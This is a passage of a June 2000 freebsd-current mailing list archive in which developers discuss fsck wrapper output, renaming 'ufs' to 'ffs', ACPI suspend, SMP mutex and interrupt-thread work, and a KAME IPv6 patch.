Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000620045623.A9045@happy.checkpoint.com>, Anatoly Vorobey writes: >On Mon, Jun 19, 2000 at 01:42:33PM +0200, Adrian Chadd wrote: >> >> * the rest of the system treats ffs filesystems as "ufs". Besides the >> fact that I dislike this, I decided against the NetBSD way of > >Isn't it time, anyway, to fix this? This legacy dates from long >time ago; e.g. the log message in the kernel code which declares >the ffs module (it reads: `` Call ffs ``ufs'' for the benefit of poor, >confused user-land programs. '') dates to September '94. > >Are there any arguments against changing the filesystem type name to >'ffs' in the kernel and in the userland? If not, I'll volunteer to >find all kernel/userland uses I can and provide a diff. The correct way to do this is to make it accept both for some limited time, and then warn about the obsolete for a few months, then discontinue it. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 0:42:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 9327D37BC41 for ; Tue, 20 Jun 2000 00:42:12 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id JAA51030; Tue, 20 Jun 2000 09:41:57 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Jason Evans Cc: Matthew Dillon , current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) In-reply-to: Your message of "Mon, 19 Jun 2000 18:01:14 PDT." <20000619180113.G79318@blitz.canonware.com> Date: Tue, 20 Jun 2000 09:41:57 +0200 Message-ID: <51028.961486917@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Am I the only person who miss a brief document which tells what the outcome of the meeting was ? Can we get to see the slides ? Audio ? Video ? -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 1: 3:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id D67E637BCC8 for ; Tue, 20 Jun 2000 01:03:07 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 134Ixs-0005iy-00; Tue, 20 Jun 2000 10:00:56 +0200 Date: Tue, 20 Jun 2000 10:00:56 +0200 From: Adrian Chadd To: Poul-Henning Kamp Cc: Anatoly Vorobey , freebsd-current@freebsd.org Subject: Re: fsck wrappers Message-ID: <20000620100056.A13112@zoe.bastard.co.uk> References: <20000620045623.A9045@happy.checkpoint.com> <51001.961486789@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <51001.961486789@critter.freebsd.dk>; from phk@critter.freebsd.dk on Tue, Jun 20, 2000 at 09:39:49AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000, Poul-Henning Kamp wrote: > In message <20000620045623.A9045@happy.checkpoint.com>, Anatoly Vorobey writes: > >On Mon, Jun 19, 2000 at 01:42:33PM +0200, Adrian Chadd wrote: > >> > >> * the rest of the system treats ffs filesystems as "ufs". Besides the > >> fact that I dislike this, I decided against the NetBSD way of > > > >Isn't it time, anyway, to fix this? This legacy dates from long > >time ago; e.g. the log message in the kernel code which declares > >the ffs module (it reads: `` Call ffs ``ufs'' for the benefit of poor, > >confused user-land programs. '') dates to September '94. > > > >Are there any arguments against changing the filesystem type name to > >'ffs' in the kernel and in the userland? If not, I'll volunteer to > >find all kernel/userland uses I can and provide a diff. > > The correct way to do this is to make it accept both for some > limited time, and then warn about the obsolete for a few months, > then discontinue it. Thats one thing that has always bugged me too, but I was thinking about fixing that after the fsck wrappers. Thinking in hindsight, it might be easier to change ufs to ffs in the fsck wrapper right now, and then once the wrapper is stable worry about moving ufs to ffs. I would rather not have both happen right now, as doing ufs->ffs requires kernel changes and userland (mount) changes. Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 1:38:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [212.74.0.25]) by hub.freebsd.org (Postfix) with ESMTP id 9FD2A37BD55; Tue, 20 Jun 2000 01:38:28 -0700 (PDT) (envelope-from joe@pavilion.net) Received: from genius.systems.pavilion.net (genesis.tao.org.uk [194.242.131.254]) by florence.pavilion.net (8.9.3/8.8.8) with ESMTP id JAA88029; Tue, 20 Jun 2000 09:38:25 +0100 (BST) (envelope-from joe@pavilion.net) Received: by genius.systems.pavilion.net (Postfix, from userid 100) id 1672F124F3; Tue, 20 Jun 2000 09:38:53 +0100 (BST) Date: Tue, 20 Jun 2000 09:38:53 +0100 From: Josef Karthauser To: Mike Smith Cc: Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000620093853.C36774@pavilion.net> Mail-Followup-To: Josef Karthauser , Mike Smith , Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG References: <20000620101608.A38965@gurney.reilly.home> <200006200040.RAA10386@mass.osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006200040.RAA10386@mass.osd.bsdi.com>; from msmith@FreeBSD.ORG on Mon, Jun 19, 2000 at 05:40:30PM -0700 X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, Lees House, 21-23 Dyke Road, Brighton, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 05:40:30PM -0700, Mike Smith wrote: > > The real issue here is persistent system state across the S4 suspend; ie. > leaving applications open, etc. IMO this isn't really something worth a > lot of effort to us, and it has a lot of additional complications for a > "server-class" operating system in that you have to worry about network > connections from other systems, not just _to_ other systems. > That said TCP/IP is very resilient :). I tried suspending to disk my laptop, unplugging the batteries and ether card, taking it to another part of the building and the firing it up. Pccardd saw the ethernet card, Dhclient saw the dhcp server and got my ip address back, and my pre-existing remote terminal sessions continued functioning :) Excellent. IMO if the machine is a server and you want to suspend it, who cares about the clients at the other end? If you did you wouldn't suspend it in the first place :) Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 1:55:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from fedde.littleton.co.us (fedde.littleton.co.us [216.17.174.44]) by hub.freebsd.org (Postfix) with ESMTP id 1DAA537BD95; Tue, 20 Jun 2000 01:55:05 -0700 (PDT) (envelope-from cfedde@fedde.littleton.co.us) Received: from fedde.littleton.co.us (localhost [127.0.0.1]) by fedde.littleton.co.us (8.10.0/8.10.0) with ESMTP id e5K8t4197360; Tue, 20 Jun 2000 02:55:04 -0600 (MDT) Message-Id: <200006200855.e5K8t4197360@fedde.littleton.co.us> To: Maxim Sobolev Cc: Mike Smith , Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <394F1CCC.45B8A2C3@FreeBSD.org> From: Chris Fedde Date: Tue, 20 Jun 2000 02:55:04 -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 20 Jun 2000 10:27:08 +0300 Maxim Sobolev wrote: +------------------ | Mike Smith wrote: | | > The real issue here is persistent system state across the S4 suspend; ie. | > leaving applications open, etc. IMO this isn't really something worth a | > lot of effort to us, and it has a lot of additional complications for a | > "server-class" operating system in that you have to worry about network | > connections from other systems, not just _to_ other systems. | | Why then brand commercial vendors have such capability in their | "server-class" operating system for a long time? Particularly HP's PA-RISC | servers does have it, at least I remember such feature in the old 30MHz | systems which I managed several years ago (the systems was shipped with | small internal battery, which in the case of power | failure was used to dump system to the disk). | | -Maxim. +------------------ On very old systems with ferrite core memory the whole "core" simply retained whatever was running at the time of a power out. When power was restored the program just started ticking from where it left off with no loss of state. Later attempts at preserving "core" state over power out involved batteries for memory, processor registers and for peripheral buffers. As buffer sizes in controllers grew and processor memory became more volatile it became harder and harder to simply recover that way. The system always came up from bootstrap and never attempted to automatically recover to a previously running system state. These days we tend to think of a "core dump" as a diagnostic tool and not as a state image to be recovered as a part of powering up the computer. But does it have to be that way? Perhaps I am nieve but it seems to me that many "server class" systems could make great use of a hibernation mode which would allow the system to be suspended to wait for some critical event to pass and then to start running exactly as they were at the time of the suspend signal. At worst this could only minimize the recovery time experienced by the server. -- Chris Fedde 303 773 9134 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 2:22:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from gilgamesch.bik-gmbh.de (T1-Hansenet.BIK-GmbH.de [192.76.134.246]) by hub.freebsd.org (Postfix) with ESMTP id 0641C37BD94 for ; Tue, 20 Jun 2000 02:22:37 -0700 (PDT) (envelope-from cracauer@gilgamesch.bik-gmbh.de) Received: (from cracauer@localhost) by gilgamesch.bik-gmbh.de (8.9.3/8.7.3) id LAA58557; Tue, 20 Jun 2000 11:16:24 +0200 (MET DST) Date: Tue, 20 Jun 2000 11:16:24 +0200 From: Martin Cracauer To: Poul-Henning Kamp Cc: Jason Evans , Matthew Dillon , current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) Message-ID: <20000620111624.A58545@cons.org> References: <20000619180113.G79318@blitz.canonware.com> <51028.961486917@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <51028.961486917@critter.freebsd.dk>; from phk@critter.freebsd.dk on Tue, Jun 20, 2000 at 09:41:57AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <51028.961486917@critter.freebsd.dk>, Poul-Henning Kamp wrote: > > Am I the only person who miss a brief document which tells what > the outcome of the meeting was ? Who was there, anyway? Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 4:41:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id BC4B837B66F; Tue, 20 Jun 2000 04:41:47 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id VAA29724; Tue, 20 Jun 2000 21:41:44 +1000 Date: Tue, 20 Jun 2000 21:41:43 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Adrian Chadd Cc: freebsd-current@FreeBSD.ORG Subject: Re: fsck wrappers In-Reply-To: <20000619205339.S13112@zoe.bastard.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 19 Jun 2000, Adrian Chadd wrote: > Watching my machine boot, the parallel nature of this fsck is now > confusing the output, eg: > > Automatic reboot in progress... > ** /dev/ad0s1a > ** Last Mounted on / > ** Root file system > ** Phase 1 - Check Blocks and Sizes > de0: enabling 10baseT port > ** Phase 2 - Check Pathnames > ** Phase 3 - Check Connectivity > ** Phase 4 - Check Reference Counts > ** Phase 5 - Check Cyl groups > 1506 files, 57594 used, 10837 free (285 frags, 1319 blocks, 0.4% fragmentation) > ** /dev/amrd0a > ** /dev/ad0s1f > ** Last Mounted on /cache > ** Phase 1 - Check Blocks and Sizes > ** Last Mounted on /usr > ** Phase 1 - Check Blocks and Sizes > ... > Would people object to fsck printing out either the mountpoint or the > devname (where appropriate) prepending each line of fsck_ffs ? Yes, if it is down for anything except the parallel (preen) case. How did you get all the above output? The current fsck doesn't print any "Phase" messages for the preen case. When these messages are printed, interactive input is required except in the -y case, so the processes can't be run in parallel. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 5:22:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 1C59C37BE85; Tue, 20 Jun 2000 05:22:25 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id OAA72721; Tue, 20 Jun 2000 14:22:14 +0200 (CEST) (envelope-from des@flood.ping.uio.no) To: van.woerkom@netcologne.de Cc: grog@sydney.worldwide.lemis.com, FreeBSD-current@FreeBSD.ORG, FreeBSD-arch@FreeBSD.ORG Subject: Re: -e option to umount? References: <20000618160223.A2482@sydney.worldwide.lemis.com> <200006190001.CAA03596@oranje.my.domain> <200006190009.CAA03688@oranje.my.domain> From: Dag-Erling Smorgrav Date: 20 Jun 2000 14:22:13 +0200 In-Reply-To: Marc van Woerkom's message of "Mon, 19 Jun 2000 02:09:44 +0200 (CEST)" Message-ID: Lines: 11 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Marc van Woerkom writes: > > SGIs and SUNs use an 'eject' command for CDs and DAT tapes. > OpenBSD 2.6 uses 'mt' and 'eject' > NetBSD 1.4 uses 'eject' as well. # mt -f /dev/rsa0 offline # camcontrol eject cd0 DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 5:32:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id C7BB237BEEC for ; Tue, 20 Jun 2000 05:32:28 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 134NCR-0005y0-00; Tue, 20 Jun 2000 14:32:15 +0200 Date: Tue, 20 Jun 2000 14:32:15 +0200 From: Adrian Chadd To: Bruce Evans Cc: freebsd-current@freebsd.org Subject: Re: fsck wrappers Message-ID: <20000620143215.C13112@zoe.bastard.co.uk> References: <20000619205339.S13112@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from bde@zeta.org.au on Tue, Jun 20, 2000 at 09:41:43PM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000, Bruce Evans wrote: > On Mon, 19 Jun 2000, Adrian Chadd wrote: > > > Watching my machine boot, the parallel nature of this fsck is now > > confusing the output, eg: > > > > Automatic reboot in progress... > > ** /dev/ad0s1a > > ** Last Mounted on / > > ** Root file system > > ** Phase 1 - Check Blocks and Sizes > > de0: enabling 10baseT port > > ** Phase 2 - Check Pathnames > > ** Phase 3 - Check Connectivity > > ** Phase 4 - Check Reference Counts > > ** Phase 5 - Check Cyl groups > > 1506 files, 57594 used, 10837 free (285 frags, 1319 blocks, 0.4% fragmentation) > > ** /dev/amrd0a > > ** /dev/ad0s1f > > ** Last Mounted on /cache > > ** Phase 1 - Check Blocks and Sizes > > ** Last Mounted on /usr > > ** Phase 1 - Check Blocks and Sizes > > ... > > > Would people object to fsck printing out either the mountpoint or the > > devname (where appropriate) prepending each line of fsck_ffs ? > > Yes, if it is down for anything except the parallel (preen) case. > > How did you get all the above output? The current fsck doesn't print > any "Phase" messages for the preen case. When these messages are > printed, interactive input is required except in the -y case, so the > processes can't be run in parallel. A couple of oversights when I did the code merging. They've been fixed, and I'll throw up a new copy of the source code at the same URL in about an hour. Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 7:52:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.aob.org (mailman.aob.org [206.168.226.8]) by hub.freebsd.org (Postfix) with ESMTP id 04A6537BF44 for ; Tue, 20 Jun 2000 07:52:09 -0700 (PDT) (envelope-from farling@aob.org) Received: from mailman (mailman.aob.org [206.168.226.8]) by mailman.aob.org (Build 101 8.9.3/NT-8.9.3) with SMTP id IAA01578 for ; Tue, 20 Jun 2000 08:52:17 -0600 From: "Scott Farling" To: Subject: subscribe Date: Tue, 20 Jun 2000 08:52:16 -0600 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0056_01BFDA94.D6015610" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MS-TNEF-Correlator: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0056_01BFDA94.D6015610 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit subscribe ------=_NextPart_000_0056_01BFDA94.D6015610 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="winmail.dat" eJ8+IhEOAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANAHBgAUAAgANAAAAAIALwEB A5AGAPADAAAiAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB AAAACgAAAHN1YnNjcmliZQAAAAIBcQABAAAAFgAAAAG/2scgdHPUPC5GpRHUhxcAUNpjdf8AAAIB HQwBAAAAFQAAAFNNVFA6RkFSTElOR0BBT0IuT1JHAAAAAAsAAQ4AAAAAQAAGDgBoeBbH2r8BAgEK DgEAAAAYAAAAAAAAAGpV/AvRydMRhtwAUNpjdf/CgAAACwAfDgEAAAACAQkQAQAAAGoAAABmAAAA hwAAAExaRnWxkBbYAwAKAHJjcGcxMjUWMgD4C2BuDhAwMzNPAfcCpAPjAgBjaArAc7BldDAgBxMC gH0KgZJ2CJB3awuAZDQMYA5jAFALAwu1IHN1YnkE8mJlCqIKhAqAEeEAARVgAAALAAGACCAGAAAA AADAAAAAAAAARgAAAAADhQAAAAAAAAMAA4AIIAYAAAAAAMAAAAAAAABGAAAAABCFAAAAAAAAAwAH gAggBgAAAAAAwAAAAAAAAEYAAAAAUoUAAH1uAQAeAAmACCAGAAAAAADAAAAAAAAARgAAAABUhQAA AQAAAAQAAAA5LjAACwANgAggBgAAAAAAwAAAAAAAAEYAAAAAgoUAAAEAAAALADqACCAGAAAAAADA AAAAAAAARgAAAAAOhQAAAAAAAAMAPIAIIAYAAAAAAMAAAAAAAABGAAAAABGFAAAAAAAAAwA9gAgg BgAAAAAAwAAAAAAAAEYAAAAAGIUAAAAAAAALAF+ACCAGAAAAAADAAAAAAAAARgAAAAAGhQAAAAAA AAMAYIAIIAYAAAAAAMAAAAAAAABGAAAAAAGFAAAAAAAAAgH4DwEAAAAQAAAAalX8C9HJ0xGG3ABQ 2mN1/wIB+g8BAAAAEAAAAGpV/AvRydMRhtwAUNpjdf8CAfsPAQAAAJsAAAAAAAAAOKG7EAXlEBqh uwgAKypWwgAAUFNUUFJYLkRMTAAAAAAAAAAATklUQfm/uAEAqgA32W4AAABDOlxXSU5OVFxQcm9m aWxlc1xBZG1pbmlzdHJhdG9yLjAwMFxMb2NhbCBTZXR0aW5nc1xBcHBsaWNhdGlvbiBEYXRhXE1p Y3Jvc29mdFxPdXRsb29rXG91dGxvb2sucHN0AAADAP4PBQAAAAMADTT9NwAAAgF/AAEAAAAvAAAA PE5EQkJJR05NR0tBRkNHR0lLRURHTUVHQURHQUEuZmFybGluZ0Bhb2Iub3JnPgAAAwAGEH9VcsoD AAcQCQAAAAMAEBAAAAAAAwAREAAAAAAeAAgQAQAAAAoAAABTVUJTQ1JJQkUAAABKvQ== ------=_NextPart_000_0056_01BFDA94.D6015610-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 7:52:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from hotmail.com (f21.law3.hotmail.com [209.185.241.21]) by hub.freebsd.org (Postfix) with SMTP id 2E4E537BF63 for ; Tue, 20 Jun 2000 07:52:36 -0700 (PDT) (envelope-from sfarling@hotmail.com) Received: (qmail 90283 invoked by uid 0); 20 Jun 2000 14:52:30 -0000 Message-ID: <20000620145230.90282.qmail@hotmail.com> Received: from 206.168.226.8 by www.hotmail.com with HTTP; Tue, 20 Jun 2000 07:52:30 PDT X-Originating-IP: [206.168.226.8] From: "Scott Farling" To: FreeBSD-current@FreeBSD.ORG Subject: subscribe Date: Tue, 20 Jun 2000 08:52:30 MDT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 9:11:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from eeyore.local.dohd.cx (d0030.dtk.chello.nl [213.46.0.30]) by hub.freebsd.org (Postfix) with ESMTP id 6017137B5F3; Tue, 20 Jun 2000 09:11:39 -0700 (PDT) (envelope-from freebsd@dohd.cx) Received: by eeyore.local.dohd.cx (Postfix+IPv6, from userid 1008) id E9DF7BA9F; Tue, 20 Jun 2000 18:11:28 +0200 (MET DST) Date: Tue, 20 Jun 2000 18:11:28 +0200 From: Mark Huizer To: Kris Kennaway Cc: current@Freebsd.org Subject: Re: Updated kame tarball (oops) Message-ID: <20000620181128.A30543@dohd.cx> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from kris@FreeBSD.org on Mon, Jun 19, 2000 at 06:26:15PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 06:26:15PM -0700, Kris Kennaway wrote: > I accidentally left out a bunch of files from my previous kame patch - the > corrected version is at http://www.freebsd.org/~kris/kame.tar.gz - the > same caveats apply as before. Extract that tarball in /usr/src/sys and > apply the patch, then rebuild. The userland can be obtained from the > latest freebsd4 KAME snapshot at ftp.kame.net (the code in the FreeBSD > tree won't work). > the stf is unknown when running config but well :-) But I'll try to compile a kernel this way -- Nice testing in little China... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 9:20:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 2D9B437BBBD; Tue, 20 Jun 2000 09:20:18 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9D3898.dip0.t-ipconnect.de [62.157.56.152]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id SAA00311; Tue, 20 Jun 2000 18:19:48 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 2968EAC27; Tue, 20 Jun 2000 18:20:48 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id 5A1ED14AB2; Tue, 20 Jun 2000 18:20:15 +0200 (CEST) Date: Tue, 20 Jun 2000 18:20:15 +0200 From: Alexander Langer To: Mark Huizer Cc: Kris Kennaway , current@FreeBSD.ORG Subject: Re: Updated kame tarball (oops) Message-ID: <20000620182015.B5196@cichlids.cichlids.com> Mail-Followup-To: Mark Huizer , Kris Kennaway , current@FreeBSD.ORG References: <20000620181128.A30543@dohd.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000620181128.A30543@dohd.cx>; from freebsd@dohd.cx on Tue, Jun 20, 2000 at 06:11:28PM +0200 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Mark Huizer (freebsd@dohd.cx): > the stf is unknown when running config but well :-) > But I'll try to compile a kernel this way It's also unknown in our current tree, though stf(4) does exist. Alex -- cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 10: 8:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 512FD37BC2D; Tue, 20 Jun 2000 10:08:31 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA87060; Tue, 20 Jun 2000 10:08:30 -0700 (PDT) (envelope-from dillon) Date: Tue, 20 Jun 2000 10:08:30 -0700 (PDT) From: Matthew Dillon Message-Id: <200006201708.KAA87060@apollo.backplane.com> To: freebsd-smp@freebsd.org Cc: Greg Lehey Subject: SMP discussion moving to freebsd-smp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All SMP/FreeBSD/BSDI work should move to the freebsd-smp list. (I've BCC'd this to -current). -- I now have mutexes 99% working in an SP build. I will be making SP (single processor) patch sets available tonight or tomorrow morning. (99% == I can boot the machine normally but after a while it locks up due to an interrupt nesting issue which I haven't dealt with yet). In order to make an MP build work, we need interrupt threads (either light or heavy weight). Greg, you expressed an interest in doing the light-weight interrupt threads. Do you want me to do the heavy-weight interrupt threads first? It's a lot of nasty assembly and it is a prerequisit for being able to do the light weight interrupt threads. I think once the heavy weight interrupt threads are done that the light weight interrupts can be implemented entirely in C. Right now the SP build works because I am allowing (unthreaded) interrupts to steal the idleproc's context, and that only works because they can get the giant mutex without blocking (remember, the BSDI giant mutex is a blocking mutex, not a spin mutex). In the MP build the interrupts need to be able to block getting the giant mutex which means we need to implement heavy-weight interrupt threads at the very least before we can get anything working, because we are not allowed to block in the idleproc. I believe I have done almost everything necessary to implement heavy weight interrupt threads, including moving the kthreads initialization code to an earlier point in the boot process (so much so that I think the device init stuff can run with working kernel processes rather then with all the delayed-thread stuff). I also think that people can start hacking on the code with the SP build once I fix this last little problem, then I can work on the MP build in parallel. The MP build requires a significant amount of additional work including having to rewrite most of the APIC assembly code (just as I had to rewrite most of the ICU assembly code for the SP build). It's another weekend at least for that. Using the SP build does not exercise all the MP characteristics of the mutexes but it exercises enough that it can be used to vett for dumb mistakes. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 10:29: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.interware.hu (mail.interware.hu [195.70.32.130]) by hub.freebsd.org (Postfix) with ESMTP id DB20E37BEA3 for ; Tue, 20 Jun 2000 10:29:02 -0700 (PDT) (envelope-from julian@elischer.org) Received: from marakesh-20.budapest.interware.hu ([195.70.50.148] helo=jules.elischer.org) by mail.interware.hu with smtp (Exim 3.12 #1 (Debian)) id 134S3H-0003GR-00; Tue, 20 Jun 2000 19:43:07 +0200 Message-ID: <394FA975.446B9B3D@elischer.org> Date: Tue, 20 Jun 2000 10:27:17 -0700 From: Julian Elischer X-Mailer: Mozilla 3.04Gold (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: Martin Cracauer Cc: Poul-Henning Kamp , Jason Evans , Matthew Dillon , current@FreeBSD.ORG Subject: Re: SMP 